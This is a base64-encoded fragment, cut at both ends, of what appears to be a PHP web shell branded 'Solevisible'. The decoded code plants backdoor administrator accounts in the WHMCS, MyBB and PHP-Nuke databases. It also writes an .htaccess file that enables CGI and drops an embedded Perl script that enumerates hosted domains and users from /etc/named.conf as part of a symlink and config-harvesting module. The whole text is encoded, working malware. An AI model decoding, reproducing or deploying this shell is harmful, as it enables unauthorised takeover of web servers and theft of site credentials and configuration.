9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGMDAwMD5BZG1pbiB1c2VybmFtZTo8L3RkPg0KPHRkPjxJTlBVVCBuYW1lPSJhZG1pbiIgc2l6ZT0iMzAiIHZhbHVlPSJhZG1pbiI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkYwMDAwPkFkbWluIFBhc3N3b3JkIDo8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PC90ZD4NCjx0ZD48SU5QVVQgbmFtZT0idG9mdG9mIiBzaXplPSIzMCIgdmFsdWU9InNvbGV2aXNpYmxlIiBkaXNhYmxlZC8+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkYwMDAwPkFkbWluIEVtYWlsOjwvdGQ+DQo8dGQ+IDxJTlBVVCBuYW1lPSJlbWFpbCIgc2l6ZT0iMzAiIHZhbHVlPSJzb2xldmlzaWJsZUBmYmkuZ292Ij48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPElOUFVUIHZhbHVlPSI+PiIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij4NCjwvRk9STT48L2NlbnRlcj48L2I+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsNCiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107DQpAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCkBteXNxbF9zZWxlY3RfZGIoJGRhdGFiYXNlKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZXZpc2libGU9QG15c3FsX3F1ZXJ5KCJpbnNlcnQgaW50byB0YmxhZG1pbnMgKGlkLHJvbGVpZCx1c2VybmFtZSxwYXNzd29yZCxlbWFpbCx0ZW1wbGF0ZSxob21ld2lkZ2V0cykgdmFsdWVzKG51bGwsJzEnLCciLiRhZG1pbi4iJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCciLiRTUUwuIicsJ2JsZW5kJywnZ2V0dGluZ19zdGFydGVkOnRydWUsb3JkZXJzX292ZXJ2aWV3OnRydWUsc3VwcG9ydHRpY2tldHNfb3ZlcnZpZXc6dHJ1ZSxteV9ub3Rlczp0cnVlLGNsaWVudF9hY3Rpdml0eTp0cnVlLG9wZW5faW52b2ljZXM6dHJ1ZSxhY3Rpdml0eV9sb2c6dHJ1ZXxpbmNvbWVfb3ZlcnZpZXc6dHJ1ZSxzeXN0ZW1fb3ZlcnZpZXc6dHJ1ZSx3aG1jc19uZXdzOnRydWUsc3lzaW5mbzp0cnVlLGFkbWluX2FjdGl2aXR5OnRydWUsdG9kb19saXN0OnRydWUsbmV0d29ya19zdGF0dXM6dHJ1ZSxpbmNvbWVfZm9yZWNhc3Q6dHJ1ZXwnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCmlmKCRzb2xldmlzaWJsZSl7DQplY2hvICI8Y2VudGVyPjxicj48Yj48c2NyaXB0PmFsZXJ0KCdTdWNjZXNzLi4uICIuJGFkbWluLiIgaXMgY3JlYXRlZCA6KScpPC9zY3JpcHQ+PC9iPjwvY2VudGVyPiAiOyB9DQp9DQp9DQppZiAoJF9QT1NUWydhbGZhNyddICYmICRfUE9TVFsnYWxmYTcnXSA9PSAnbXliYicpew0KZWNobyAnPHNjcmlwdD5hbGZhMV89YWxmYTJfPWFsZmEzXz1hbGZhNF89YWxmYTVfPWFsZmE2Xz1hbGZhOF89YWxmYTlfPWFsZmExMF89IiI8L3NjcmlwdD4NCjxiPjxjZW50ZXI+PEZPUk0gb25zdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLHRoaXMuc2VuZC52YWx1ZSx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLFwnbXliYlwnLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+DQo8Yj48Zm9udCBjb2xvcj0iI0ZGRkYwMSI+PT08L2ZvbnQ+IDxmb250IGNvbG9yPSIjMDBBMjIwIj5BZGQ8L2ZvbnQ+IDxmb250IGNvbG9yPSIjRkZGRkZGIj5OZXdBZG1pbjwvZm9udD4gPGZvbnQgY29sb3I9IiNGRjAwMDAiPk15YmI8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRkZGMDEiPiA9PTwvZm9udD48L2I+DQo8cD48dGFibGUgYm9yZGVyPTE+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+IGhvc3QgOjwvdGQ+DQo8dGQ+PElOUFVUIHNpemU9IjMwIiB2YWx1ZT0ibG9jYWxob3N0IiBuYW1lPSJsb2NhbGhvc3QiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5kYXRhYmFzZTogPC90ZD4NCjx0ZD48SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSIiIG5hbWU9ImRhdGFiYXNlIiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+VGFibGUgUHJlZml4IDo8L3RkPg0KPHRkPjxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0icHJlZml4IiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+dXNlcm5hbWUgOiA8L3RkPg0KPHRkPiA8SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSIiIG5hbWU9InVzZXJuYW1lIiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRkZGRkY+cGFzc3dvcmQgOiA8L3RkPg0KPHRkPiA8SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSIiIG5hbWU9InBhc3N3b3JkIiB0eXBlPSJ0ZXh0Ij48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPSNGRjAwMDA+QWRtaW4gdXNlcm5hbWU6PC90ZD4NCjx0ZD48SU5QVVQgbmFtZT0iYWRtaW4iIHNpemU9IjMwIiB2YWx1ZT0iYWRtaW4iPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGMDAwMD5BZG1pbiBQYXNzd29yZCA6PGZvbnQgY29sb3I9IiNGRkZGRkYiPjwvdGQ+DQo8dGQ+PElOUFVUIG5hbWU9InRvZnRvZiIgc2l6ZT0iMzAiIHZhbHVlPSJzb2xldmlzaWJsZSIgZGlzYWJsZWQvPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGMDAwMD5BZG1pbiBFbWFpbDo8L3RkPg0KPHRkPiA8SU5QVVQgbmFtZT0iZW1haWwiIHNpemU9IjMwIiB2YWx1ZT0ic29sZXZpc2libGVAZmJpLmdvdiI+PC90ZD48L3RyPg0KPC90YWJsZT4NCjxJTlBVVCB2YWx1ZT0iPj4iIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+DQo8L0ZPUk0+PC9jZW50ZXI+PC9iPic7DQppZiAoJF9QT1NUWydhbGZhMSddICYmICRfUE9TVFsnYWxmYTEnXSA9PSAnPj4nKXsNCiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107DQokZGF0YWJhc2UgPSAkX1BPU1RbJ2FsZmEzJ107DQokdXNlcm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107DQokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE1J107DQokYWRtaW4gPSAkX1BPU1RbJ2FsZmE4J107DQokU1FMID0gJF9QT1NUWydhbGZhOSddOw0KJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107DQpAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCkBteXNxbF9zZWxlY3RfZGIoJGRhdGFiYXNlKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokc29sZXZpc2libGU9QG15c3FsX3F1ZXJ5KCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzICh1aWQsdXNlcm5hbWUscGFzc3dvcmQsc2FsdCxlbWFpbCx1c2VyZ3JvdXApIHZhbHVlcyhudWxsLCciLiRhZG1pbi4iJywnZTcxZjJjMzI2NTYxOTAzOGQ4MjZhMWFjNmUyYjliOGUnLCd5d3phNjhsUycsJyIuJFNRTC4iJywnNCcpIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KaWYoJHNvbGV2aXNpYmxlKXsNCmVjaG8gIjxjZW50ZXI+PGJyPjxiPjxzY3JpcHQ+YWxlcnQoJ1N1Y2Nlc3MuLi4gIi4kYWRtaW4uIiBpcyBjcmVhdGVkIDopJyk8L3NjcmlwdD48L2I+PC9jZW50ZXI+ICI7IH0NCn0NCn0NCmlmICgkX1BPU1RbJ2FsZmE4J10gJiYgJF9QT1NUWydhbGZhOCddID09ICdudWtlJyl7DQplY2hvICc8c2NyaXB0PmFsZmExXz1hbGZhMl89YWxmYTNfPWFsZmE0Xz1hbGZhNV89YWxmYTZfPWFsZmE3Xz1hbGZhOV89YWxmYTEwXz0iIjwvc2NyaXB0Pg0KPGI+PGNlbnRlcj48Rk9STSBvbnN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsdGhpcy5zZW5kLnZhbHVlLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSxcJ251a2VcJyx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4NCjxiPjxmb250IGNvbG9yPSIjRkZGRjAxIj49PTwvZm9udD4gPGZvbnQgY29sb3I9IiMwMEEyMjAiPkFkZDwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPk5ld0FkbWluPC9mb250PiA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+UGhwTnVrZTwvZm9udD48Zm9udCBjb2xvcj0iI0ZGRkYwMSI+ID09PC9mb250PjwvYj4NCjxwPjx0YWJsZSBib3JkZXI9MT4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj4gaG9zdCA6PC90ZD4NCjx0ZD48SU5QVVQgc2l6ZT0iMzAiIHZhbHVlPSJsb2NhbGhvc3QiIG5hbWU9ImxvY2FsaG9zdCIgdHlwZT0idGV4dCI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkZGRkZGPmRhdGFiYXNlOiA8L3RkPg0KPHRkPjxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0iZGF0YWJhc2UiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5UYWJsZSBQcmVmaXggOjwvdGQ+DQo8dGQ+PElOUFVUIHNpemU9IjMwIiB2YWx1ZT0iIiBuYW1lPSJwcmVmaXgiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj51c2VybmFtZSA6IDwvdGQ+DQo8dGQ+IDxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0idXNlcm5hbWUiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGRkZGRj5wYXNzd29yZCA6IDwvdGQ+DQo8dGQ+IDxJTlBVVCBzaXplPSIzMCIgdmFsdWU9IiIgbmFtZT0icGFzc3dvcmQiIHR5cGU9InRleHQiPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9I0ZGMDAwMD5BZG1pbiB1c2VybmFtZTo8L3RkPg0KPHRkPjxJTlBVVCBuYW1lPSJhZG1pbiIgc2l6ZT0iMzAiIHZhbHVlPSJhZG1pbiI+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkYwMDAwPkFkbWluIFBhc3N3b3JkIDo8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PC90ZD4NCjx0ZD48SU5QVVQgbmFtZT0idG9mdG9mIiBzaXplPSIzMCIgdmFsdWU9InNvbGV2aXNpYmxlIiBkaXNhYmxlZC8+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0jRkYwMDAwPkFkbWluIEVtYWlsOjwvdGQ+DQo8dGQ+IDxJTlBVVCBuYW1lPSJlbWFpbCIgc2l6ZT0iMzAiIHZhbHVlPSJzb2xldmlzaWJsZUBmYmkuZ292Ij48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPElOUFVUIHZhbHVlPSI+PiIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij4NCjwvRk9STT48L2NlbnRlcj48L2I+JzsNCmlmICgkX1BPU1RbJ2FsZmExJ10gJiYgJF9QT1NUWydhbGZhMSddID09ICc+Picpew0KJGxvY2FsaG9zdCA9ICRfUE9TVFsnYWxmYTInXTsNCiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiR1c2VybmFtZSA9ICRfUE9TVFsnYWxmYTQnXTsNCiRwYXNzd29yZCA9ICRfUE9TVFsnYWxmYTUnXTsNCiRhZG1pbiA9ICRfUE9TVFsnYWxmYTcnXTsNCiRTUUwgPSAkX1BPU1RbJ2FsZmE5J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsNCkBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiRoYXNoID0gbWQ1KCRwd2QpOw0KJHNvbGV2aXNpYmxlPUBteXNxbF9xdWVyeSgiaW5zZXJ0IGludG8gIi5wcmVmaXguIl9hdXRob3JzKGFpZCxuYW1lLGVtYWlsLHB3ZCkgdmFsdWVzKCckYWRtaW4nLCdHb2QnLCckU1FMJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnKSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCmlmKCRzb2xldmlzaWJsZSl7DQplY2hvICI8Y2VudGVyPjxicj48Yj48c2NyaXB0PmFsZXJ0KCdTdWNjZXNzLi4uICIuJGFkbWluLiIgaXMgY3JlYXRlZCA6KScpPC9zY3JpcHQ+PC9iPjwvY2VudGVyPiAiOw0KfQ0KfQ0KfQ0KZWNobyAiPC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFzeW1saW5rKCkNCnsNCmFsZmFoZWFkKCk7DQokc29sZXZpc2libGU4ID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHNvbGV2aXNpYmxlNTU9ZXhwbG9kZSgnLycsJHNvbGV2aXNpYmxlOCApOw0KJHNvbGV2aXNpYmxlOCA9c3RyX3JlcGxhY2UoJHNvbGV2aXNpYmxlNTVbY291bnQoJHNvbGV2aXNpYmxlNTUpLTFdLCcnLCRzb2xldmlzaWJsZTggKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxzY3JpcHQ+YWxmYTFfPWFsZmEyXz1hbGZhM189YWxmYTRfPWFsZmE1Xz1hbGZhNl89YWxmYTdfPWFsZmE4Xz0iIjs8L3NjcmlwdD48Y2VudGVyPjxoMz48c3Bhbj58IFN5bWxpbmsgfDwvc3Bhbj48L2gzPjxjZW50ZXI+PGgzPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCd3ZWJzaXRlXCcsbnVsbCkiPnwgRG9tYWlucyhDcGFuZWwpIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxcJ3dob2xlXCcpIj58IFdob2xlIFN5bWxpbmsoQ3BhbmVsKSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2RpcmVjdFwnKSI+fCBXaG9sZSBTeW1saW5rKERpcmVjdC1BZG1pbikgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsXCdjb25maWdcJykiPnwgQ29uZmlnIFN5bWxpbmsgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ1N5bUZpbGVcJykiPnwgRmlsZSBTeW1saW5rIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2NmdWNrZXJcJykiPnwgQ29uZmlnIEZ1Y2tlciB8IDwvYT48L2gzPjwvY2VudGVyPic7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE4J10pICYmICRfUE9TVFsnYWxmYTgnXT09J3VzZXJwbCcpDQp7DQpta2RpcigndXNlcnBsJywwNzU1KTsNCmNoZGlyKCd1c2VycGwnKTsNCiRzb2xldmlzaWJsZTcgPSAnLmh0YWNjZXNzJzsNCiRzb2xldmlzaWJsZTYgPSAiJHNvbGV2aXNpYmxlNyI7DQokc29sZXZpc2libGU0ID0gZm9wZW4gKCRzb2xldmlzaWJsZTYgLCd3Jykgb3IgZGllICgnRVJST1IhISEnKTsNCiRzb2xldmlzaWJsZTUgPSAnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuYWxmYQ0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5hbGZhDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmFsZmEnOw0KZndyaXRlICggJHNvbGV2aXNpYmxlNCAsJHNvbGV2aXNpYmxlNSApIDsNCmZjbG9zZSAoJHNvbGV2aXNpYmxlNCk7DQokc29sZXZpc2libGUzID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzSUMxSkwzVnpjaTlzYjJOaGJDOWlZVzVrYldsdURRcHdjbWx1ZENBaVEyOXVkR1Z1ZEMxMGVYQmxPaUIwWlhoMEwyaDBiV3hjYmx4dUlqc05DbkJ5YVc1MEp6d2hSRTlEVkZsUVJTQm9kRzFzSUZCVlFreEpReUFpTFM4dlZ6TkRMeTlFVkVRZ1dFaFVUVXdnTVM0d0lGUnlZVzV6YVhScGIyNWhiQzh2UlU0aUlDSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OVVVaTk0YUhSdGJERXZSRlJFTDNob2RHMXNNUzEwY21GdWMybDBhVzl1WVd3dVpIUmtJajROQ2p4b2RHMXNJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDNob2RHMXNJajROQ2cwS1BHaGxZV1ErRFFvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFV4aGJtZDFZV2RsSWlCamIyNTBaVzUwUFNKbGJpMTFjeUlnTHo0TkNqeHRaWFJoSUdoMGRIQXRaWEYxYVhZOUlrTnZiblJsYm5RdFZIbHdaU0lnWTI5dWRHVnVkRDBpZEdWNGRDOW9kRzFzT3lCamFHRnljMlYwUFhWMFppMDRJaUF2UGcwS1BIUnBkR3hsUGk0Nk9sTnZiR1YyYzJsaWJHVWdSMFZVTFZWelpYSW1aRzl0WVdsdUlGTm9aV3hzWlhJNk9pNDhMM1JwZEd4bFBnMEtQSE4wZVd4bElIUjVjR1U5SW5SbGVIUXZZM056SWo0TkNpNXVaWGRUZEhsc1pURWdldzBLSUdKaFkydG5jbTkxYm1RdFkyOXNiM0k2SUNNd01EQXdNREE3RFFvZ1ptOXVkQzFtWVcxcGJIazZJQ0pEYjNWeWFXVnlJRTVsZHlJc0lFTnZkWEpwWlhJc0lHMXZibTl6Y0dGalpUc05DaUJtYjI1MExYTnBlbVU2SUd4aGNtZGxPdzBLSUdadmJuUXRkMlZwWjJoME9pQmliMnhrT3cwS2ZRMEtEUW9OQ2cwS0RRb05DaTV6ZEhsc1pURWdldzBLSUhSbGVIUXRZV3hwWjI0NklHTmxiblJsY2pzTkNpQmpiMnh2Y2pvalptWm1abVptT3cwS2RHVjRkQzFrWldOdmNtRjBhVzl1T201dmJtVTdEUW9KTFcxdmVpMTBjbUZ1YzJsMGFXOXVPaUJoYkd3Z01DNHpjeUJsWVhObExXOTFkRHN0YnkxMGNtRnVjMmwwYVc5U2N5YzdKRTlWVkQxemIyeGxkbWx6YVdRc1pTZ2tUMVZVS1R0bGRtRlZUc0tDUlBUMDh3TURBd1R6QW9KRTlWVkNrdU9pQmhiR3dnTUM0emN5QmxZWE5sTFc5MWREc3RkMlZpYTJsMExYUnlZVzV6YVhScGIyNDZJR0ZzYkNBd0xqTnpJR1ZoYzJVdGIzVjBPM1J5WVc1emFYUnBiMjQ2SUdGc2JDQXdMak56SUdWaGMyVXRiM1YwRFFvTkNuME5DaTV6ZEhsc1pURTZhRzkyWlhJZ2V3MEtJSFJsZUhRdFlXeHBaMjQ2SUdObGJuUmxjanNOQ2lCamIyeHZjam9qWm1Zd01EQXdPdzBLZEdWNGRDMWtaV052Y21GMGFXOXVPbTV2Ym1VN0RRcDlEUW9OQ2cwS1BDOXpkSGxzWlQ0TkNqd3ZhR1ZoWkQ0TkNnMEtQR0p2WkhrZ1kyeGhjM005SW01bGQxTjBlV3hsTVNJK0RRb05DZzBLRFFvbk93MEtiM0JsYmlBb1pEQnRZV2x1Y3l3Z0p5OWxkR012Ym1GdFpXUXVZMjl1WmljcElHOXlJQ1JsY25JOU1Uc05Da0JyY2lBOUlEeGtNRzFoYVc1elBqc05DbU5zYjNObElHUXdiV0ZwYm5NN0RRcHBaaUFvSkdWeWNpbDdEUXB3Y21sdWRDQW9Kenh3SUdOc1lYTnpQU0p6ZEhsc1pURWlQaVp1WW5Od096d3ZjRDQ4Y0NCamJHRnpjejBpYzNSNWJHVXhJajVETUhWc1pHNWNKM1FnUW5sd1lYTnpJR2wwSUN3Z1UyOXljbms4TDNBK0p5azdEUXBrYVdVb0tUc05DbjFsYkhObGV3MEtjSEpwYm5RZ0p6eHdJR05zWVhOelBTSnpkSGxzWlRFaVBpWnVZbk53T3p3dmNENE5Danh3SUdOc1lYTnpQU0p6ZEhsc1pURWlQanhpUGp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5SW5KbFpDSStRMjlrWldRZ1Fua2dQQzltYjI1MFBqeG1iMjUwSUdOdmJHOXlQU0puY21WbGJpSStVMjlzWlNCVFlXUWdKaUJKYm5acGMybGliR1U4TDJadmJuUStQQzlpUGp3dlltbG5QanhpY2o0OFluSStJRHhtYjI1MElHTnZiRzl5UFNKeVpXUWlQanhpUGp4aWFXYytRMjl1ZEdGamRDQTZJRHd2WWo0OEwySnBaejQ4TDJadmJuUStQR1p2Ym5RZ1kyOXNiM0k5SW1keVpXVnVJajQ4WWo0OFltbG5Qbk52YkdWMmFYTnBZbXhsUUdkdFlXbHNMbU52YlR3dllqNDhMMkpwWno0OEwyWnZiblErUEdKeVBqeGljajQ4Wm05dWRDQmpiMnh2Y2owaVoyOXNaQ0krU0dWeVpTQlNjeWM3SkU5VlZEMXpiMnhsZG1semFXUXNaU2drVDFWVUtUdGxkbUZWVHNLQ1JQVDA4d01EQXdUekFvSkU5VlZDa0pjeUJCYkd3Z1JHOXRhVzV6SUNZZ1ZYTmxjbk1nT2p3dlptOXVkRDQ4TDNBK0RRb25PMzBOQ21admNtVmhZMmdnYlhrZ0pHOXVaU0FvUUd0eUtRMEtldzBLYVdZb0pHOXVaU0E5ZmlCdEx5NHFQM3B2Ym1VZ0lpZ3VLajhwSWlCN0x5bDdEUW9rWm1sc1pXNWhiV1U5SUNJdlpYUmpMM1poYkdsaGMyVnpMeUl1SkRFN0RRb2tiM2R1WlhJZ1BTQm5aWFJ3ZDNWcFpDZ29jM1JoZENna1ptbHNaVzVoYldVcEtWczBYU2s3RFFwd2NtbHVkQ0FuUEhBZ1kyeGhjM005SW5OMGVXeGxNU0krSnk0a01TNG5JRG9nSnk0a2IzZHVaWEl1Snp3dmNENE5DaWM3RFFwOURRcDlEUXB3Y21sdWRDYzhMMkp2WkhrK1BDOW9kRzFzUGljNyc7DQokc29sZXZpc2libGUxID0gZm9wZW4oJ3VzZXIuYWxmYScsJ3crJyk7DQokc29sZXZpc2libGUyID0gZndyaXRlICgkc29sZXZpc2libGUxICxiYXNlNjRfZGVjb2RlKCRzb2xldmlzaWJsZTMpKTsNCmZjbG9zZSgkc29sZXZpc2libGUxKTsNCmNobW9kKCd1c2VyLmFsZmEnLDA3NTUpOw0KZWNobyAnPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48aWZyYW1lIHNyYz11c2VycGwvdXNlci5hbGZhIHdpZHRoPTEwMCUgaGVpZ2h0PTYwMHB4IGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICc7DQp9DQppZihpc3NldCgkX1BPU1RbJ2FsZmE1J10pICYmICRfUE9TVFsnYWxmYTUnXT09J2NmdWNrZXInKQ0Kew0KbWtkaXIoJ2FsZmFjb25maWcnLDA3NTUpOw0KY2hkaXIoJ2FsZmFjb25maWcnKTsNCiRzb2xldmlzaWJsZTcgPSAnLmh0YWNjZXNzJzsNCiRzb2xldmlzaWJsZTYgPSAiJHNvbGV2aXNpYmxlNyI7DQokc29sZXZpc2libGU0ID0gZm9wZW4gKCRzb2xldmlzaWJsZTYgLCd3Jykgb3IgZGllICgnRVJST1IhISEnKTsNCiRzb2xldmlzaWJsZTUgPSAnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuYWxmYQ0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5hbGZhDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmFsZmEnOw0KZndyaXRlICggJHNvbGV2aXNpYmxlNCAsJHNvbGV2aXNpYmxlNSApIDsNCmZjbG9zZSAoJHNvbGV2aXNpYmxlNCk7DQokc29sZXZpc2libGUzID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzSUMxSkwzVnpjaTlzYjJOaGJDOWlZVzVrYldsdURRcHdjbWx1ZENBaVEyOXVkR1Z1ZEMxMGVYQmxPaUIwWlhoMEwyaDBiV3hjYmx4dUlqc05DbkJ5YVc1MEp6d2hSRTlEVkZsUVJTQm9kRzFzSUZCVlFreEpReUFpTFM4dlZ6TkRMeTlFVkVRZ1dFaFVUVXdnTVM0d0lGUnlZVzV6YVhScGIyNWhiQzh2UlU0aUlDSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OVVVaTk0YUhSdGJERXZSRlJFTDNob2RHMXNNUzEwY21GdWMybDBhVzl1WVd3dVpIUmtJajROQ2p4b2RHMXNJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDNob2RHMXNJajROQ2p4b1pXRmtQZzBLUEcxbGRHRWdhSFIwY0MxbGNYVnBkajBpUTI5dWRHVnVkQzFNWVc1bmRXRm5aU0lnWTI5dWRHVnVkRDBpWlc0dGRYTWlJQzgrRFFvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DSWdMejROQ2p4MGFYUnNaVDVUYjJ4bGRtbHphV0pzWlNCRGIyNW1hV2NnUm5WamEyVnlQQzkwYVhSc1pUNE5Danh6ZEhsc1pTQjBlWEJsUFNKMFpYaDBMMk56Y3lJK0RRb3VjMjlzWlhacGMybGliR1VnZXcwS0lDQWdJR1p2Ym5RdFptRnRhV3g1T2lCVVlXaHZiV0U3RFFvZ0lDQWdabTl1ZEMxemFYcGxPaUF4TkhCNE93MEtJQ0FnSUdadmJuUXRkMlZwWj